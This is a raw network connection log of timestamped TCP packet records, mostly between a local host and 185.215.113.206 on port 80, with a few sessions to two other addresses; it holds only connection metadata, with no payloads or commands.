Nov 21, 2024 07:10:32.203900099 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.218205929 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.218255997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.218488932 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.218648911 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.218667030 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.218822002 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.219506979 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.219645977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.219728947 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.220335960 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.220447063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.220448971 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.221165895 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.221256018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.221278906 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.222043037 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.222127914 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.222131014 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.222179890 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.222881079 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.222928047 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.222986937 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.289700031 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.289794922 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.289870977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.290009022 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.290250063 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.290329933 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.290842056 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.290947914 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.290981054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.291260004 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.291711092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.291768074 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.291810989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.291863918 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.292583942 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.292613983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.292650938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.292650938 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.293402910 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.293462992 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.293510914 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.293574095 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.294250011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.294313908 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.294411898 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.295146942 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.295212030 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.295250893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.295291901 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.295959949 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.296078920 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.296129942 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.296163082 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.296814919 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.296892881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.296917915 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.296996117 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.297635078 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.297707081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.297800064 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.298495054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.298681974 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.298759937 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.299372911 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.299459934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.299474955 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.300187111 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.300266027 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.300306082 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.301048040 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.301135063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.301163912 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.301203966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.301913023 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.301999092 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.302046061 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.302742004 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.302871943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.302939892 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.303617954 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.303679943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.303744078 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.304445982 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.304533958 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.304634094 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.305305958 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.305414915 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.305479050 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.316862106 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.318584919 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.318629980 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.319015026 CET	49819	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.319025993 CET	443	49819	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.359088898 CET	49803	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:32.359363079 CET	49823	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:32.383842945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.383932114 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.383970022 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.383970022 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.384201050 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.384247065 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.384318113 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.384356976 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.385118961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.385154963 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.385195971 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.385277987 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.385916948 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.386028051 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.386050940 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.386084080 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.386781931 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.386847019 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.386884928 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.386950970 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.387633085 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.387677908 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.387739897 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.387819052 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.388519049 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.388565063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.388624907 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.388828039 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.389321089 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.389437914 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.389442921 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.389545918 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.390161991 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.390234947 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.390285015 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.390353918 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.391123056 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.391175032 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.391226053 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.391277075 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.391874075 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.391954899 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.391993046 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.392077923 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.392764091 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.392833948 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.392869949 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.392950058 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.393603086 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.393639088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.393675089 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.393675089 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.394443035 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.394496918 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.394535065 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.394570112 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.395278931 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.395430088 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.395468950 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.395468950 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.396167040 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.396213055 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.396291018 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.396347046 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.396975040 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.397027016 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.397079945 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.397135973 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.397854090 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.397913933 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.397922039 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.398005009 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.398684025 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.398781061 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.398818970 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.398991108 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.399518013 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.399636030 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.399651051 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.399749994 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.400376081 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.400477886 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.400480986 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.400614023 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.401211977 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.401316881 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.401324034 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.401371956 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.402090073 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.402163982 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.402262926 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.402323008 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.402914047 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.402997971 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.403053999 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.403754950 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.403867960 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.403906107 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.403906107 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.404618025 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.404733896 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.404762983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.404968977 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.405452013 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.405514956 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.405553102 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.405553102 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.419658899 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.419703007 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.419743061 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.419744015 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.420052052 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.420108080 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.420115948 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.420154095 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.420869112 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.420948029 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.420984030 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.421078920 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.421737909 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.421781063 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.421849012 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.422024012 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.422586918 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.422650099 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.422719955 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.422756910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.423422098 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.423495054 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.423538923 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.423582077 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.424319029 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.424335957 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.424403906 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.478919983 CET	80	49803	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:32.478943110 CET	80	49823	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:32.479051113 CET	49803	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:32.479067087 CET	49823	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:32.490725994 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.490968943 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.490983963 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.491049051 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.491058111 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.491101027 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.491838932 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.491899967 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.492008924 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.492613077 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.492717028 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.492783070 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.493419886 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.493485928 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.493525028 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.494280100 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.494296074 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.494350910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.494350910 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.495089054 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.495198965 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.495229959 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.495229959 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.495932102 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.495974064 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.496027946 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.496293068 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.496748924 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.496814966 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.496850967 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.496934891 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.497562885 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.497668028 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.497679949 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.498274088 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.498389006 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.498430967 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.498505116 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.498609066 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.499217033 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.499285936 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.499326944 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.500092983 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.500201941 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.500282049 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.500881910 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.501003981 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.501126051 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.501708984 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.501812935 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.501892090 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.502525091 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.502573013 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.502629995 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.503401041 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.503434896 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.503453970 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.503540993 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.504184961 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.504306078 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.504384041 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.505001068 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.505117893 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.505193949 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.505837917 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.505939960 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.506207943 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.506633997 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.506699085 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.515536070 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.515620947 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.515710115 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.549561977 CET	49823	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:32.559983015 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.560045958 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.560098886 CET	49817	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:32.560131073 CET	443	49817	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.564917088 CET	443	49820	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:32.584614992 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.584778070 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.584907055 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.585025072 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.585158110 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.585208893 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.585834026 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.586004972 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.586149931 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.586262941 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.586339951 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.586970091 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.587105989 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.587306976 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.587837934 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.587960005 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.588186026 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.588646889 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.588691950 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.588737011 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.589500904 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.589535952 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.589538097 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.590293884 CET	80	49807	185.215.113.206	192.168.2.4
Nov 21, 2024 07:10:32.590331078 CET	49807	80	192.168.2.4	185.215.113.206
Nov 21, 2024 07:10:32.590356112 CET	80	49807	185.215.113.206	192.168.2.4
